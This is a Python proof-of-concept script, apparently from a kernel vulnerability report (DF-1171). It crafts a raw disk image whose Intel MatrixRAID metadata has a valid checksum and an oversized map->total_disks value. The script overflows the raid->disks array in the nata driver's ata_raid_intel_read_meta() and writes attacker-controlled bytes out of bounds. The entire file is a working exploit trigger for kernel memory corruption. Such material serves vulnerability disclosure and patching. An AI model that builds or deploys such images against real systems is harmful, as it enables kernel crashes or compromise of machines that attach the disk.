DF-1171 / build_meta.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 | #!/usr/bin/env python3 """ DF-1171 — build a crafted raw disk image whose final sectors carry a valid Intel MatrixRAID metadata block with map->total_disks set to a value > 16, so ata_raid_intel_read_meta() (sys/dev/disk/nata/ata-raid.c:2243) overflows raid->disks[MAX_DISKS=16]. Layout reproduces the in-kernel reshuffle at ata-raid.c:2139-2142: bcopy(tmp, tmp+1024, 512); # meta[1024..1535] = meta[0..511] bcopy(tmp+512, tmp, 1024); # meta[0..1023] = meta[512..1535] i.e. the two 512-byte halves of the on-disk metadata are SWAPPED into RAM. So we write: on-disk metadata[0..511] = desired in-memory[512..1023] on-disk metadata[512..1023] = desired in-memory[0..511] The metadata is read from sector (total_secs - 3) (INTEL_LBA, ata-raid.h:293). Usage: build_meta.py <out.img> <total_disks> """ import struct, sys, os OVR = int(sys.argv[2]) if len(sys.argv) > 2 else 32 # map->total_disks # 2 MB raw disk = 4096 sectors of 512 bytes SECT = 512 NSECT = 4096 TOTAL_SECS = NSECT INTEL_LBA = TOTAL_SECS - 3 # sector where metadata read starts # ---- build desired in-memory intel_raid_conf (1024 bytes) ---- mem = bytearray(1024) def w8(o, v): mem[o] = v & 0xff def w16(o, v): struct.pack_into("<H", mem, o, v & 0xffff) def w32(o, v): struct.pack_into("<I", mem, o, v & 0xffffffff) def put(o, b): mem[o:o+len(b)] = b # intel_id[24] put(0, b"Intel Raid ISM Cfg Sig. ") # version[6] put(24, b"1.2.00") # dummy_0[2] at 30 -- zeros # checksum @ 32 (filled later) # config_size @ 36 : full 1024-byte metadata => 256 u32 words w32(36, 1024) # config_id @ 40 w32(40, 0xDEADBEEF) # generation @ 44 : must be nonzero AND > raid->generation (0 on fresh alloc) w32(44, 1) # dummy_1[2] @ 48 (8 bytes) zeros # total_disks @ 56 : number of disk[] entries present in the metadata (small) w8(56, 2) # total_volumes @ 57 w8(57, 1) # dummy_2[2] @ 58, filler_0[39] @ 60 -- zeros (-> 216) # disk[0] @ 216 : serial[16] + sectors(u32) + id(u32) + flags(u32) + filler[5](u32) # attacker-controlled payload bytes that get bcopy'd into raid->disks[disk].serial disk0 = 216 put(disk0 + 0, b"AAAAAAAAAAAAAAAA") # serial[16] w32(disk0 + 16, 0x41414141) # sectors -> raid->disks[].sectors (attacker) w32(disk0 + 20, 0x00000001) # id w32(disk0 + 24, 0x08) # flags = INTEL_F_ONLINE # filler[5] zeros # disk[1] @ 264 disk1 = 264 put(disk1 + 0, b"BBBBBBBBBBBBBBBB") w32(disk1 + 16, 0x42424242) w32(disk1 + 20, 0x00000002) w32(disk1 + 24, 0x08) # map = &disk[total_disks=2] => offset 312 M = 312 put(M + 0, b"EVILVOL0") # map.name[16] (rest zero) # map.total_sectors u64 packed @ M+16 struct.pack_into("<Q", mem, M+16, 65536) # map.state @ M+24, reserved @ M+28 w32(M+24, 0); w32(M+28, 0) # filler_0[20] @ M+32 (80 bytes) zeros # map.offset @ M+112 w32(M+112, 0) # map.disk_sectors @ M+116 w32(M+116, 65536) # map.stripe_count @ M+120 w32(M+120, 8) # map.stripe_sectors u16 @ M+124 w16(M+124, 2) # map.status u8 @ M+126 = INTEL_S_READY(0) w8(M+126, 0) # map.type u8 @ M+127 = INTEL_T_RAID0(0) w8(M+127, 0) # map.total_disks u8 @ M+128 ===== THE OVERFLOW TRIGGER ===== w8(M+128, OVR) # map.magic[3] @ M+129, filler_1[7] @ M+132, disk_idx[1] @ M+160 (zeros) # ---- checksum : sum of all u32 words (offset 0..1024 step 4) minus the # checksum field must equal the checksum field. So checksum = sum(others). csum_field_off = 32 stored = struct.unpack_from("<I", mem, csum_field_off)[0] s = 0 for o in range(0, 1024, 4): if o == csum_field_off: continue s = (s + struct.unpack_from("<I", mem, o)[0]) & 0xffffffff w32(csum_field_off, s) # verify chk = 0 for o in range(0, 1024, 4): chk = (chk + struct.unpack_from("<I", mem, o)[0]) & 0xffffffff chk = (chk - struct.unpack_from("<I", mem, csum_field_off)[0]) & 0xffffffff assert chk == struct.unpack_from("<I", mem, csum_field_off)[0], \ f"checksum mismatch chk={chk:#x} field={struct.unpack_from('<I', mem, csum_field_off)[0]:#x}" # ---- swap the two 512-byte halves for the on-disk layout ---- disk_meta = bytearray(1024) disk_meta[0:512] = mem[512:1024] # disk sector 0 -> in-memory[512..1023] disk_meta[512:1024] = mem[0:512] # disk sector 1 -> in-memory[0..511] # ---- write the image ---- img = bytearray(NSECT * SECT) meta_byte_off = INTEL_LBA * SECT img[meta_byte_off:meta_byte_off+1024] = disk_meta out = sys.argv[1] with open(out, "wb") as f: f.write(img) print(f"wrote {out}: {NSECT} sectors ({NSECT*SECT} bytes), INTEL_LBA={INTEL_LBA}") print(f" meta byte offset on disk = {meta_byte_off}") print(f" map->total_disks (overflow trigger) = {OVR} => {max(OVR-16,0)} OOB entries") print(f" = {max(OVR-16,0)*48} bytes past disks[15]") print(f" checksum = {s:#010x}") |